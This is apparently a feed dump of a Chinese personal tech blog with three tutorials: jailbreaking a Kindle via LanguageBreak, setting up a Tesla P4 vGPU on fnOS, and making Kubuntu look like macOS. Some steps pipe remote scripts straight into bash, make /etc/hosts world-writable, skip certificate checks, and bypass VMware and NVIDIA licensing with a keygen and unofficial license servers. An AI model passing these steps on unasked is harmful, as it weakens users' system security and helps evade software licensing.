国光 分享与收获 2026-03-14T16:58:50.682Z https://www.sqlsec.com/ 国光 Hexo 国光的 Kindle(第八代)基础折腾记录 https://www.sqlsec.com/2026/03/kindle.html 2026-03-13T06:41:15.000Z 2026-03-14T16:58:50.682Z

最新小红书上被种草了阅星瞳x4电子书,磁吸放在 iPhone Air 背面挺合适,群里晒了一下大家觉得屏幕有点小了看不下去了,群友(没名字✘)就把手里闲置的 Kindle(第八代)送给了我,因为官方系统实在是过于烂了,于是乎就有了这篇文章的折腾记录。

设备概览

一开始拿到的设备固件为 Kindle 5.11.2 版本,不小心连了 WiFi 就自动升级成了 Kindle 5.16.2.1.1 版本了:

好在手里的这个设备目前官方最高的固定版本依然可以利用 LanguageBreak 切换语言实的漏洞实现越狱的,理论上其他 KS、KO 1/2/3、KV、Kindle 7/8/10/11、KPW 2/3/4/5 固件版本 <= 5.16.2.1.1 也可以使用本文的方法教程。

设备越狱

准备工作

Kindle 最好打开飞行模式不要使用网络,备份好书籍资料,取消密码保护功能。

然后下载准备好如下的工具软件:

演示模式

  1. Kindle 搜索框中输入 ;enter_demo 然后按回车;
  2. 然后【设置】-【设备选项】点击【重启】进入演示模式
  3. 跳过 WiFi 设置,在“注册演示样机”页面【随便输入】然后继续
  4. “正在获取可选的演示类型” 界面中点击【跳过】后点击【Standard
  5. 接下来会进入“演示模式,添加内容”界面,点击【完成】让设备完成自动配置;
  6. 自动配置期间可能会白屏一段时间(1-2分钟)完成后会进入屏保界面,点击进入“配置设备”界面;
  7. 使用“隐藏手势”跳过配置设备界面进入图书馆界面。
# 常见的三种方式(可以都试试看)1. 双指轻点一下屏幕右下角,紧接着单指按下从右向左水平滑动一段距离。2. 双指同时点按住屏幕右下角,随后右边手指抬起,紧接着左边手指向左水平滑动一段距离。3. 双指同时点按住屏幕右下角,直接向左滑动一段距离。

开始越狱

Kindle 搜索框中输入 ;demo 并按回车进入“演示菜单”界面,点击【导入内容】按钮,然后数据线连接电脑,将 LanguageBreak 文件夹下的内容拷贝到 Kindle 根目录(覆盖已存在文件):

image-20260313134754184

然后电脑端弹出 Kindle,拔掉数据线,点击【完成】按钮重新进入“演示菜单”界面;

  1. 依次点击【销售设备】 → 【销售】按钮

一旦屏幕出现“Kindle 按钮示意图”,立即用 USB 数据线将 Kindle 连到电脑;

再次将 LanguageBreak 文件夹中的四项内容拷贝到根目录,覆盖已存在文件(手速要快哦);

  1. 弹出并断开 USB 设备,按 Kindle 上的示意图所示,等待自动重启或者短按 Kindle 按钮重启设备;
  2. 正常情况下,重启后会出现语言选择界面,依次点击【简体中文】 → 【下一步】
  3. Kindle 屏幕应会出现越狱相关的日志信息(如下图所示)就代表越狱成功了:

修复补丁

越狱后必须安装 LanguageBreak 专用热修复补丁修复一下,否则系统权限不够,后面哪怕安装了 KOReader 这类第三方程序也不能正常运行。

安装也很简单:

  1. Update_hotfix_languagebreak-zh-Hans-CN.bin 拷贝放进 Kindle 根目录的 mrpackages 文件夹
  2. 在 Kindle 搜索框输入 ;log mrpi 然后回车
  3. 等待安装完成,Kindle 会自动重启后,补丁安装完成

MRPI 和 KUAL 插件

MRPI 插件

原生系统只能通过「设置 → 更新您的 Kindle」安装官方固件,不能装第三方 .bin 插件。MRPI(MobileRead Package Installer) 是 Kindle 越狱后必备的插件安装器,专门用来安装 .bin 格式的 Kindle 插件 / 软件(比如 KUAL、KOReader)。

image-20260313165059319

安全弹出,重启 Kindle

KUAL 插件

Kindle 原生系统只有看书、书城,如果越狱后安装了其他插件或者工具的话,默认是看不到的,所以需要 KUAL 来帮你显示、打开它们。

  1. 解压缩在文件夹中找到 Update_KUALBooklet_xxxxxxx_install.bin 文件,拷贝到 Kindle 根目录下的 mrpackages 文件夹

  2. 然后在 Kindle 搜索框中输入 ;log mrpi 点击回车;

  3. 成功安装 KUAL 后,我的图书馆中会出现一个名为 KUAL 的个人文档图标

  4. 正常情况下,安装成功的话,点开此图标回显示对应的菜单。

KOReader 插件

安装教程

KOReader 是一款支持PDF、EPUB及其他多种格式的电子书阅读器应用,越狱必备插件。还支持直接开启 SSH、外挂字典、调整阅读样式渲染、字体设置等等,总之吊打 Kindle 原生系统使用体验了。

官方项目的下载地址为:https://github.com/koreader/koreader/releases

不用的版本应该使用不同的 KOReader 分支,可以问下AI 自己应该下载哪个版本分支,国光我手里的 Kindle 第八代下载的是 :koreader-kindlepw2-v2025.10.zip

  1. 解压缩下载到的 KOReader 压缩包,可得到 extensionskoreader 两个文件夹;
  2. 先把文件夹 extensions 中的内容拷贝到 Kindle 根目录下的 extensions 文件夹中;
  3. 然后把 koreader 文件夹拷贝到 kindle 根目录下;
  4. 通过 KUAL 菜单中来启动 KOReader 。

菜单说明

第一次使用大家应该可以看到好几个选项,难免会好奇区别:

  1. Start KOReader
  • 适用场景:日常看书、轻度使用
  • 特点
    • 保留 Kindle 原生系统框架(framework)在后台运行
    • 退出后直接回到 Kindle 主界面,无需重启设备
    • 内存占用稍高,但稳定性最好
  1. Start KOReader (no framework)
  • 适用场景:看大型 PDF、漫画、内存不足时
  • 特点
    • 完全关闭 Kindle 原生系统框架,释放大量内存
    • 运行更流畅,适合加载大体积文件
    • 退出后必须重启 Kindle 才能回到原生系统
  1. Start KOReader (ASAP)
  • 适用场景:追求最快启动速度
  • 特点
    • “ASAP” = As Soon As Possible,尽可能快启动
    • 简化启动流程,跳过部分初始化步骤
    • 功能完整,但启动速度比前两个更快
  1. Tools:KOReader 工具子菜单(点击展开)

  2. **/**:返回 KUAL 菜单

SSH 服务器

Kindle 默认拷贝文件需要 USB 数据线传输,操作体验很不优雅舒服,有了 KOReader 连接 WiFi 后可以直接开 SSH 服务器通过网络来进行传输会优雅很多。

顶部下滑打开菜单找到【设置】->【网络】->【SSH 服务器】即可开启配置 SSH 服务器相关信息:

后面就可以优雅的使用 SSH 进行文件网络传输了,kindle 根目录的物理路径为:/mnt/us

其他玩法

KOReader 功能很强大,建议大家自己多多摸索看看,包括但不限于,设置自定义自定义、外挂字典查询、自定义排版样式、自定义顶部状态栏、底部状态栏等等,时间有限,国光这里不再赘述了,遇到不懂的就问 AI,相信大家可以很快上手 KOReader,溜了溜了,要睡觉了。

参考资料

]]>
<p>最新小红书上被种草了阅星瞳x4电子书,磁吸放在 iPhone Air 背面挺合适,群里晒了一下大家觉得屏幕有点小了看不下去了,群友(没名字✘)就把手里闲置的 Kindle(第八代)送给了我,因为官方系统实在是过于烂了,于是乎就有了这篇文章的折腾记录。</p>
飞牛 fnOS NVIDIA Tesla P4 vGPU 驱动教程分享 https://www.sqlsec.com/2025/09/esxivgpu.html 2025-09-01T03:54:19.000Z 2026-03-13T04:34:21.725Z

每天的工作难度虽然不高,但是却异常琐碎,完全没有自己的思考时间,导致我的博客已经很久没有更新了。这种日子到底还有多久?我到底能不能成为说唱歌手?

背景介绍

家里的服务器日常待机运行功耗 200 多 W,每个月电费要 100 多元,不充分利用一下服务器有点对不起它了,正好周末清了灰,从零开始重构一下服务器。

清灰过程还是比较解压的:

底层环境

首先本次使用的是截止目前 (2025 年 09 月 01 日)最新的 ESXi 8.0 U3 系列,这也是我这种 E5 老平台和 Tesla P4 老显卡建议使用的最高版本:

image-20250901220655321

因为下面的资源都是国光我真金白银付费购买的,所以不能免费直接分享,大家如果感兴趣的话,可以小黄鱼了解一下,价格肯定还是比较便宜划算的,也当时知识付费支持一下了,具体的资源如下:

  • ESXi 镜像:ESXi-8.0U3g-24859861-SYSIN-20250730.iso 或者 VMware-VMvisor-Installer-8.0U3g-24859861.x86_64.iso
  • vCenter 镜像:VMware-VCSA-all-8.0.3-24853646.iso
  • vGPU 16.10 驱动:NVIDIA-GRID-vSphere-8.0-535.247.02-535.247.01-539.28.zip


不过大家财力有限的话,下面是免费赠送的资源,也挺实用的:

  • 注册机:VMware UKG 1.0.21.1014.exe (Vmware universal keygen 1.0.21.1014)

关注公众号回复:VM 注册机 即可免费获取:

有了注册机的话,要想顺利使用 vGPU 的话得确保你的许可证的产品不要太垃圾了,下面是国光的 ESXi 和 vCenter 使用的许可证情况:

基础驱动

NVIDIA 在 vGPU 17.x 系列中针对 VMware ESXi 平台停止了对 Pascal 架构(如 Tesla P4)的支持,仅保留对 16.x 系列的兼容。若需继续使用 P4 的 vGPU 功能,建议保持 16.x 版本驱动,本教程中使用的是 vGPU 16.10 驱动来演示。

要在 vSphere 平台上让虚拟机实现 NVIDIA GPU 的硬件加速(比如 vGPU 功能),必须先为 ESXi 主机安装 NVIDIA 官方 Host 驱动。这次我要安装的驱动包是

NVD_bootbank_NVD-VMware_ESXi_8.0.0_Driver_535.247.02-1OEM.800.1.0.20613240.vib

为了避免安装驱动时影响正在运行的虚拟机,建议先把 ESXi 主机进入 维护模式,然开启 SSH 将 VIB 文件到 ESXi 主机的 tmp 目录下,通过 SSH 客户端(比如 PuTTY)连接到 ESXi 主机,执行以下命令安装驱动:

esxcli software vib install -v /tmp/NVD_bootbank_NVD-VMware_ESXi_8.0.0_Driver_535.247.02-1OEM.800.1.0.20613240.vib

执行后,命令行会输出驱动验证、安装的进度日志。耐心等待片刻,直到看到「Installation completed successfully」(安装成功)的提示。

驱动安装后,必须重启 ESXi 主机 才能让驱动完全生效。主机重启后,再次通过 SSH 登录,执行以下命令查看驱动是否安装成功:

nvidia-smi

然后登录 vCenter 操作 ESXi 主机,图形设置为「直接共享」后点击确定,然后重启 ESXi 主机即可完成 vGPU Host 宿主机驱动的安装准备工作:

飞牛驱动

飞牛 OS 添加 PCI vGPU 设备:

先 SSH 连接切换到 root 准备安装所需依赖:

# 切换root权限sudo -i# 屏蔽nouveauecho "blacklist nouveau" >> /etc/modprobe.d/blacklist-nouveau.conf# 更新initramfsupdate-initramfs -u# 安装aptitude包管理工具apt update && apt install aptitude# 使用 aptitude 自动解决依赖冲突aptitude install build-essential dkms linux-headers-generic libglvnd-dev pkg-config -y# 清理缓存apt cleanapt autocleanrm -rf /var/lib/apt/lists/*apt update# 安**uild-essential dkms 等依赖包apt install build-essential dkms linux-headers-generic libglvnd-dev pkg-config -y# 重启飞牛reboot

然后将 NVIDIA-Linux-x86_64-535.247.01-grid.run 这个 vGPU Guest 上传到飞牛 OS,同样命令行下开始编译安装:

# 给予驱动执行权限chmod +x NVIDIA-Linux-x86_64-535.247.01-grid.run# 安装NVIDIA GUEST驱动,一路回车直至安装完成 ./NVIDIA-Linux-x86_64-535.247.01-grid.run --dkms

安装成功后使用命令验证一下:

nvidia-smi

image-20250901232649638

此时相册里面可以正常启用 GPU 计算:

飞牛影视也可以正常使用这个 Tesla P4 vGPU 进行加速转码:

因为 vGPU 我分配了 4GB 显存,使用资源管理来查看,发现可以正常看到显卡的占用率:

证书服务

默认情况下我们使用的 vGPU 虽然是驱动了的,但是没有导入官方的证书,在后续使用上会被限制性能释放,首先使用命令行查看当前环境的证书情况:

nvidia-smi -q | grep -i "license" -A 5

可以看到是未注册的:

原项目 FastAPI-DLS 需要自行创建证书较为繁琐,这里使用一个二次封装的免证书容器镜像来快速搭建:

sudo docker run -d --name vgpu_server -e DLS_URL=10.1.1.6 -e DLS_PORT=443 -p 9443:443  makedie/fastapi-dls

借助 FastAPI-DLS 项目我们可以快速搭建 vGPU 证书服务器,如果大家的设备可以连接外网的话,下面国光也分享几个可用的 vGPU 证书服务器:

https://62.234.164.86:6443/-/readmehttps://101.201.101.132:10443/-/readmehttps://120.26.231.182:8443/-/readme

也可以通过 docker 手动搭建服务器,需要先准备好自己 RSA 密钥对 于加密许可证信息,执行以下命令生成:

# 定义证书目录WORKING_DIR=/vol2/1000/内置存储/Docker/vGPU-Server/cert# 进入目录cd $WORKING_DIR# 生成符合官方要求的 SSL 证书(10年有效期)openssl req -x509 -nodes -days 3650 -newkey rsa:2048 -keyout  $WORKING_DIR/webserver.key -out $WORKING_DIR/webserver.crt

证书这里看着填写就行了,反正就是我们自己用,只要 FQDN 这里写实际 vGPU 服务器的地址就行:

使用飞牛自带的 Docker 可以很轻松的创建 vGPU 服务,下面是对应的 compose.yml 配置文件:

x-dls-variables: &dls-variables  TZ: Asia/Shanghai # 中国时区  DLS_URL: 10.1.1.6 # 写你具体的 IP 地址  DLS_PORT: 443  LEASE_EXPIRE_DAYS: 3650  # 10年有效期  DATABASE: sqlite:////app/database/db.sqlite  DEBUG: falseservices:  dls:    image: collinwebdesigns/fastapi-dls:latest    restart: always    environment:      <<: *dls-variables    ports:      - "9443:443"  # 9443 改成实际你映射的端口    volumes:      - /vol2/1000/内置存储/Docker/vGPU-Server/cert:/app/cert # 前面换成你的证书路径      - dls-db:/app/databasevolumes:  dls-db:

飞牛的 Docker 真方便无视国内的墙,很丝滑很快搭建成功:

导入证书

有了证书服务器的话,下面使用飞牛 OS 来实际操作,拷贝并编辑配置文件:

# 拷贝配置cp /etc/nvidia/gridd.conf.template /etc/nvidia/gridd.conf# 编辑配置vim /etc/nvidia/gridd.conf

手动修改 ServerPort 端口为实际你映射的端口:

ServerPort=9443

然后直接导入这个授权证书吧:

# 切换 root 用户sudo -i# 导入client-tokenwget --no-check-certificate -O /etc/nvidia/ClientConfigToken/client_configuration_token_$(date '+%d-%m-%Y-%H-%M-%S').tok https://10.1.1.6:9443/-/client-token# 重启systemctl restart nvidia-griddsystemctl status nvidia-gridd

重启服务器后验证一下授权证书的有效期:

nvidia-smi -q | grep -i "license" -A 5

解码测试

使用飞牛影视对视频进行转码播放看看,可以看到 GPU 参与工作了:

资源管理器也可以看到显卡干活的痕迹:

好了到此本文就结束了,更多飞牛 GPU 解码的玩法等待大家自己去探索。

]]>
<p>每天的工作难度虽然不高,但是却异常琐碎,完全没有自己的思考时间,导致我的博客已经很久没有更新了。这种日子到底还有多久?我到底能不能成为说唱歌手?</p> <p><img src="https://image.3001.net/images/20250901/1756732661_68b59cf5f2b23aa6312c1.png"> </p>
手把手带你打造一个媲美 macOS 的 Linux 生产力系统 https://www.sqlsec.com/2024/10/ubuntu.html 2024-10-11T02:23:25.000Z 2024-10-12T08:12:29.000Z

别再羡慕人家 macOS 精美的界面了,Linux 同样也可以做到这么精致丝滑的交互体验,还在等什么!?赶紧让 Linux 作为你的主力系统吧~

写在前面

国光我这一个月安装了很多个 Linux 发行版系统且都深度体验了一下,尝试过 Arch Linux 也试过 Kali Linux,桌面用过激进的 Hyprland 也用过传统的 GNOME,还有花里胡哨的 DDE,最终还是老老实实的选择了 Kubuntu 24.04:

为什么选择了 Kubuntu 24.04 主要有以下几个原因:

  1. 基于 Ubuntu LTS 24.04 版本,稳定的同时学习门槛也比较低
  2. Kubuntu 自带的是 KDE 5 桌面,这个桌面目前可拓展性很强
  3. KDE6 桌面不兼容 Latte Dock,失去了模仿 MacOS 的精髓

系统安装

本次安装使用的是双系统方案,如果你的硬盘足够大的话,这也是国光比较推荐的方案,毕竟打游戏的话还得是 Windows 系统呀!

安装的时候建议先选择默认的【英文语言、】然后选择【正常模式】安装,毕竟我们是要当作主力系统来使用的:

磁盘这块是重点,如果你要是双系统的话,建议最好还是自己【手动划分磁盘分区】:

我的从 2TB 的硬盘划分出 800多GB 用来安装 Linux,具体的磁盘划分细节如下:

最后看下我总的设置细概览吧:

基本准备

更新源

# 切换 root 用户sudo -i# 备份更新源mv /etc/apt/sources.list /etc/apt/sources.list.bak# 添加 Ubuntu 24.04 中科大源echo "deb https://mirrors.ustc.edu.cn/ubuntu/ noble main restricted universe multiverse" >> /etc/apt/sources.listecho "deb https://mirrors.ustc.edu.cn/ubuntu/ noble-security main restricted universe multiverse" >> /etc/apt/sources.listecho "deb https://mirrors.ustc.edu.cn/ubuntu/ noble-updates main restricted universe multiverse" >> /etc/apt/sources.listecho "deb https://mirrors.ustc.edu.cn/ubuntu/ noble-backports main restricted universe multiverse" >> /etc/apt/sources.list# 刷新一下看看速度apt update

基本工具

既然有更新源的话,安装一些 Geek 必备的工具吧:

# 经典必备sudo apt install curl wget git vim# netstat 网络外联分析sudo apt install net-tools# traceroute 链路追踪sudo apt install traceroute

中文输入

首先安装好中文语言环境相关的依赖包:

sudo apt install fcitx5-frontend-gtk2 fonts-arphic-ukai fonts-arphic-uming fonts-noto-cjk-extra language-pack-zh-hans libreoffice-help-zh-cn libreoffice-l10n-zh-cn

然后将语言更改为:【简体中文】

更改完成后重启或者注销系统生效,手动添加 【Pinyin】输入法:

因为搜狗输入法官方目前还不支持 Fctix5 输入法框架,我们不能为了个输入法开倒车去安装 Fctix4 吧:

所以这里参考了这篇文章:fcitx5_customizer —— 一个让 Fcitx5 更符合简中用户使用习惯的优化脚本

只需要一条命令即可优化我们的 Fctix5 输入法:

# 在线运行并使用推荐配置curl -sSL https://www.debuggerx.com/fcitx5_customizer/fcitx5_customizer.sh | bash -s -- recommend

大家可以根据自己的喜好来自行配置:

后续我们可以在设置里面自行更好输入法皮肤:

推荐使用简约大气的 Dracula 皮肤,这样配置后,我们自带的这个输入法已经变得很丝滑了,还要啥搜狗输入法呀!

语言环境

我们手动编辑语言环境文件 ,确保都是中文状态:

sudo vim /etc/default/locale

编辑后的内容如下:

LANG=zh_CN.UTF-8LC_ADDRESS=zh_CN.UTF-8LC_IDENTIFICATION=zh_CN.UTF-8LC_MEASUREMENT=zh_CN.UTF-8LC_MONETARY=zh_CN.UTF-8LC_NAME=zh_CN.UTF-8LC_NUMERIC=zh_CN.UTF-8LC_PAPER=zh_CN.UTF-8LC_TELEPHONE=zh_CN.UTF-8LC_TIME=zh_CN.UTF-8

切换桌面

Kubuntu 24.04 自带的 KDE 5 默认使用的 X11 桌面协议,这个 X11 桌面协议真的是老古董来,源于上个世纪 80 年代,虽然目前兼容性还不错,但是时代变了。所以我们需要拥抱 wayland 协议,这样可以有更丝滑的桌面使用体验、更健全的触控板手势支持、更精美精致的 HiDPi 画面缩细节、更好的高分辨率高刷新率显示器的支持、更优雅高效的桌面运行工作效率……

话不多说,我们直接开始安装:

sudo apt install plasma-workspace-wayland

安装好的话重启一下系统,再次登录的时候,登录界面左下角选择 Wayland 协议的桌面会话就可以了,这样你就可以体验到更加丝滑的 Linux 桌面体验了。

输入兼容

解决告警

只是发现我们使用 wayland 协议的话,Fcitx 小企鹅输入法开始告警了:

那么根据提示设置一下:

注销或者重启后发现新的告警:

检测到设置了 GTK_IM_MODULE 和 QT_IM_MODULE 而且 Wayland 输入法前端正在正常工作。推荐不设置 GTK_IM_MODULE 和 QT_IM_MODULE 从而使用 Wayland 输入法前端。更多信息请参见 https://fcitx-im.org/wiki/Using_Fcitx_5_on_Wayland#KDE_Plasma

根据官方的提示这是因为为了兼容 X11 协议应用,这个 Kubuntu 的环境变量全局里面自定义了这些值:

$ env |grep fcitxGTK_IM_MODULE=fcitxXMODIFIERS=@im=fcitxSDL_IM_MODULE=fcitxQT_IM_MODULE=fcitx

而 Fcitx5 官方提醒是不需要设置这 3 个变量值的:

GTK_IM_MODULE & QT_IM_MODULE & SDL_IM_MODULE

如果是在 XWayland 兼容模式下运行的应用,只需设置:

XMODIFIERS=@im=fcitx

如果是 chromium/electron 这类应用,建议设置下面这些启动参数:

--enable-features=UseOzonePlatform --ozone-platform=wayland --enable-wayland-ime

所以解决方法就是手动去取消这 3 各环境变量:

# 切换 root 用户sudo -i# 覆写 /etc/environment 环境变量echo "unset GTK_IM_MODULE" >> ~/.profileecho "unset QT_IM_MODULE" >> ~/.profileecho "unset SDL_IM_MODULE" >> ~/.profile

这样就解决了 Wayland 告警了。

应用优化

这样设置后原生对 wayland 支持友好的应用输入法应该都是工作在最佳状态的,比如 Firefox 火狐浏览器等,但是一些保守一点的应用, 输入法的光标和面板明显存在偏移,所以他们还是需要我们给他们设置一下变量的,比如正在编写本文的 Typora 应用,我们手动在应用程序菜单中找到 Typora 图标,然后右键点击【编辑应用程序】,向下图这样,手动把之前取消的环境变量单独给他加回去即可:

GTK_IM_MODULE=fcitx SDL_IM_MODULE=fcitx QT_IM_MODULE=fcitx

这样 Typora 的输入法也就可以工作在最佳状态了。

后续其他输入感觉怪怪的,有问题的应用都可以模仿这样来操作。

使用技巧

Linux 下的 fcitx5 输入法有常用的使用快捷键技巧如下:

快捷键组合说明
`空格切换输入法
左 Shift临时切换输入法

但是有些网友可能发现,使用 左 Shift 临时切换输入法经常不工作,但有时候却正常工作,经过几天的使用国光总结发现如下规律:

在要输入的应用里面先手动使用 Ctrl + 空格 切换输入法后,就可以正常的使用 左 Shift 临时切换输入法了,后面的体验和 Windows 下是同样丝滑的。

操作优化

工欲善其事,必先利其器,我们基本操作优化前先来学习一下 KDE5 默认的基础快捷键和触控板手势的使用:

快捷键

KDE 也自带来很多高效的快捷键,下面记录分享一下国光我常用的键盘快捷键:

快捷键说明
Super(Windows 键)打开应用程序菜单栏
F11应用全屏
Super + W 或者 鼠标左上角触发角打开所有工作区视图
Super + E打开文件管理器
Super + L锁屏
Ctrl + Alt + Del打开提出菜单
Super + D 或者 Ctrl + F12显示桌面
Alt + Tab切换下一个窗口
Alt + Shift + Tab切换上一个窗口
Ctrl + Super + 左右方向键左右切换工作区
Alt + Space打开 KRunner 搜索框
Ctrl + Alt + T打开默认终端
Super + 方向键上下左右移动窗口
Alt + F4关闭当前窗口
Super + Pgup最大化窗口
Super + Pgdn最小化窗口
Super + 加号局部画面放大镜
Super + 减号局部画面缩小镜
PrtSc调用 Spectacle 全屏截图
Super + PrtSc调用 Spectacle 当前窗口截图
Shift + Super + PrtSc调用 Spectacle 选区域截图

触控板

作为笔记本用户,触控板手势也是必不可少,下面是 KDE5 的触控板基本手势:

触控板手势说明
双指轻点右键
双指滚动页面上下滚动
三指左右滚动切换工作区
四指左右滚动切换工作区
四指上滑打开所有工作区视图
四指下滑当开当前工作区所有窗口视图
四指捏合打开所有工作区和窗口视图

果味优化

如果你是一个 macOS 资深用户,可以将鼠标和触控板也逐步像 macOS 工作方式靠齐:

触控板设置细节如下:

数字键盘

如果你的笔记本设备自带数字小键盘的花、话,建议在设置里开启数字小键盘:

键盘响应

【设置】-【输入设备】-【键盘】可以根据自己的喜好提高一下键盘光标的移动速度,这样敲很长的命令的时候,使用方向键移动光标会更加丝滑:

代理工具

工欲善其事,必先利其器。在国内的环境,要像优雅的配置你的 Linux 系统的话,代理工具是必不可少的,所有就在基本配置后直接开了各代理配置的专题。

Watt Toolkit

「Watt Toolkit」是一个开源跨平台免费且多功能 Steam 工具箱。表面上是个游戏加速器,实际上也可以代理 Github 等国外常见的网站了,官网地址为:https://steampp.net

官方的自动化安装脚本可以很方便的直接安装:

curl -sSL https://steampp.net/Install/Linux.sh | bash

选择默认的路径创建对应的快捷方式:

手动给我们的 hosts 文件添加权限:

sudo chmod a+w /etc/hosts

这样就可以直接启动加速了,原理是修改 hosts 文件:

但是实际上访问 Github 还是会发现提示证书相关存在问题:

我们参考官方的解决方法就可以了:Linux 证书导入教程

找到证书本地文件夹的位置:

直接导入到火狐浏览器即可:

这样即可使用火狐浏览器优雅的访问 Github 了吗:

Clash Verge

官方项目地址:https://github.com/clash-verge-rev/clash-verge-rev

release 下载安装最新的 deb 包,使用 gdebi 安装即可:

# 直接使用 gdebi 安装sudo gdebi clash-verge_1.7.7_amd64.deb # 但是提醒了此软件包不可安装Dependency is not satisfiable: libwebkit2gtk-4.0-37

根据官方文档发现,原来 Ubuntu 24.0 需要额外安装 libwebkit2gtklibjavascriptcoregtk 依赖,根据架构下载对应版本并安装。

依赖下载地址
libwebkit2gtklibwebkit2gtk-4.0-37_2.43.3-1_amd64.deb
libjavascriptcoregtklibjavascriptcoregtk-4.0-18_2.43.3-1_amd64.deb
sudo gdebi libjavascriptcoregtk-4.0-18_2.43.3-1_amd64.debsudo gdebi libwebkit2gtk-4.0-37_2.43.3-1_amd64.deb 

后面如果遇到一些网络棘手的问题,可以尝试打开 Clash 的 Tun 模式,这样代理更简单透彻一点:

Shadowsocks Electron

星火商店里面还保留着这个经典的老牌资源:spk://store/network/shadowsocks-electron

国光测试了 SSR 订阅链接正常解析工作,如果担心 Clash 暴露你的出口 IP 的话,大家不妨试试看这个:

proxychains4

Linux 下的命令行代理工具,也是内网渗透常用的工具:

sudo apt install proxychains4

配置文件路径为:

sudo vim /etc/proxychains4.conf

测试以下代理效果:

proxychains4 curl https://www.google.com

果味美化

Kvantum

Kvantum 是一个高度可定制的开源主题引擎,专为基于 Qt 的应用程序设计。它允许用户通过 SVG(可缩放矢量图形)文件定义和应用复杂的主题,以改变应用程序的外观。

安装也比较简单:

sudo add-apt-repository ppa:papirus/papirussudo apt updatesudo apt install qt5-style-kvantum qt5-style-kvantum-l10n qt5-style-kvantum-themes

WhiteSur-kde

因为 macOS Big Sur 后的外观样式基本上差不多,所有我们这次借助的是 WhiteSur-kde 项目,安装也很简单:

git clone https://github.com/vinceliuice/WhiteSur-kdecd WhiteSur-kde./install.sh

然后在设置里面选择我们刚刚安装好的主题即可,国光为自己更偏好于暗黑色的主题:

这样基本上外观有个雏形了:

WhiteSur-icon-theme

为了更逼真,我们需要安装 macOS 相关的图标主题,安装也比较简单:

git clone https://github.com/vinceliuice/WhiteSur-icon-themecd WhiteSur-icon-theme./install.sh 

配置完成后在设置里面启用这个图标,这样整体效果已经很接近 macOS 了:

鼠标光标样式

鼠标光标样式国光我比较推荐:Capitaine Cursors,其中 r4 版本是对高分辨率屏幕和 KDE 比较友好,所以为最终选择的是 capitaine-cursors-light-r4.tar.gz 版本的光标样式:

Latte Dock

macOS 另一个外观特征就是 Dock 了,好在 KDE5 下有大名鼎鼎的 Latte Dock 可以使用,我们安装也比较简单:

sudo apt install latte-dock 

但是安装好直接使用的话,各种细节还是差点意思:

然后右键 Latte Dock,选择【配置 Latte Dock】- 【布局编辑器】找到右下角【导入】-【从 KDE 在线商店导入】,本次使用的是和我们主题配套的 WhiteSur latte 外观样式:

整体的效果如下:

挂件推荐

挂件概览

挂件名称挂件说明
Kpple Menu仿 macOS 的左上角下拉菜单
Window Title Applet菜单栏显示窗口标题
Control Centre仿 macOS 控制中心
Launchpad Plasma仿 macOS 程序坞
CatWalk猫猫跑步展示 CPU 的负载状态
Power Monitor显示笔记本的电池的功耗
Translator菜单栏翻译插件
Fokus菜单栏番茄钟插件
Thermal Monitor菜单栏温度监控
Resources Monitor - fork数据可视化展示常用的性能数据
Netspeed Widget菜单栏网络数据监控显示
Latte SideBar Button召唤调出 latte dock 的侧边栏
HTML ClockHTML 风格的简约时钟

挂件优化

  • Window Title Applet

下面是更接近 macOS 的设置细节:

  • Control Centre

从 Github 下载 https://github.com/Prayag2/kde_controlcentre/releases/download/0.1.0/kde_controlcentre0.1.0.tar.gz 文件,然后使用命令行手动安装:

kpackagetool5 -i kde_controlcentre0.1.0.tar.gz 
  • CatWalk

因为已经有其他的插件可以显示 CPU 占用率了,为了界面的简洁,我这里只推荐使用猫猫图标:

  • Resources Monitor - fork

默认的这个可视化性能监控的字体太小了,建议我们自己单独设置大一点:

  • Netspeed Widget

右侧面板

我们借助 Latte Dock 可以实现 macOS 侧边栏的类似效果。首先需要确保安装好【Latte SideBar Button】插件,这样才可以调出侧边栏。

添加面板

首先编辑我们当前 Latte Dock 的配置,手动在【右侧】添加一个【两端对齐】的【空面板】:

面板行为

鼠标找到我们刚刚添加的面板,右键【编辑面板】,类型保持为默认的【面板】然后先点亮【吸附于顶部】和【吸附于底部】,然后选择【自动隐藏侧边栏】,根据需要勾选一些自己喜好的选项:

面板外观

这块国光的调教参数如下:

面板特效

面板特效建议安装【Dash To Panel】任务指示装饰:

面板挂件

经过大量测试, 最终国光侧边面板布局顺序从上到下为:HTML Clock - 日历 - 性能监控数据

首先添加【HTML Clock】挂件,然后设置为图上显示比较齐全的布局,然后【启用此小程序的着色】:

image-20241006153622801

接着下面我们添加一个系统自带的日历插件,日历不建议开启【启用此小程序的着色】:

最后下面添加小程序分组:

国光这里是分别在小程序分组里面拖入添加了:总 CPU 使用情况、内存使用情况和网络速度,不建议开启【启用此小程序的着色】,其他细节分别都是【折线图】,不勾选【显示标题】具体的传感器大家也可以根据自己的喜好来。

  • CPU 负载

  • 内存使用

  • 网络监控

整体效果

Kvantum

首先我们在应用程序风格里面选择【kvantum】:

接着打开【Kvantum管理器】先通过【变更/删除主题】选择 macOS 风格的【WhiteSurDark】主题,然后点击【应用此主题】:

接着在【配置当前主题】里能开的特效基本上都开满:

布局排列

顶部菜单栏的整体布局从左到右的布局排列如下:

Kpple Menu - Window Title - 全局菜单 - 面板间隙 - 虚拟桌面切换器 - Fokus - Translator - CatWalk - Thermal Monitor - Power Monitor - Resources Monitor - fork - 网络速度 - Netspeed Widget - 系统托盘 - 剪贴板 - 音频音量 - 蓝牙 - 网络 - 电池和亮度 - 搜索 - Control Centre - 数字时钟 - Ltte SideBar Button

系统托盘国光我建议,能隐藏的都隐藏,我们需要什么可以单独添加到菜单栏里面,系统托盘就应该专职做好托盘相关的工作:

外观细节

  • 【全局主题】-【WhiteSur-dark】
  • 【全局主题】-【应用程序风格】-【kvantum】
  • 【全局主题】-【Plasma视觉风格】-【WhiteSur暗黑苹果】
  • 【全局主题】-【窗口装饰元素】-【Sweet-Dark-transparent
  • 【全局主题】-【颜色】-【WhiteSurDark】
  • 【全局主题】-【图标】-【WhiteSu-dark】
  • 【全局主题】-【光标】-【Capitaine Cursors Light】
  • 【全局主题】-【欢迎屏幕】-【Orchis-dark】
  • 【全局主题】-【启动屏幕】-【apple-mac-plymouth】

桌面特效

这个国光为建议,只要都可以接受,这些能开的都全开了:

其中窗口透明度要单独设置一下,这样整体虚化的颜值会更高一点:

系统增强

驱动完善

默认情况下我这个笔记本(机械革命 无界 15X )的在 Linux 下是没有这个国产以太网卡驱动的,好在官网提供了驱动的下载链接:

以太网网卡芯片-裕太微电子股份有限公司

驱动安装很简单,安装好编译驱动的依赖,然后直接执行脚本就行了:

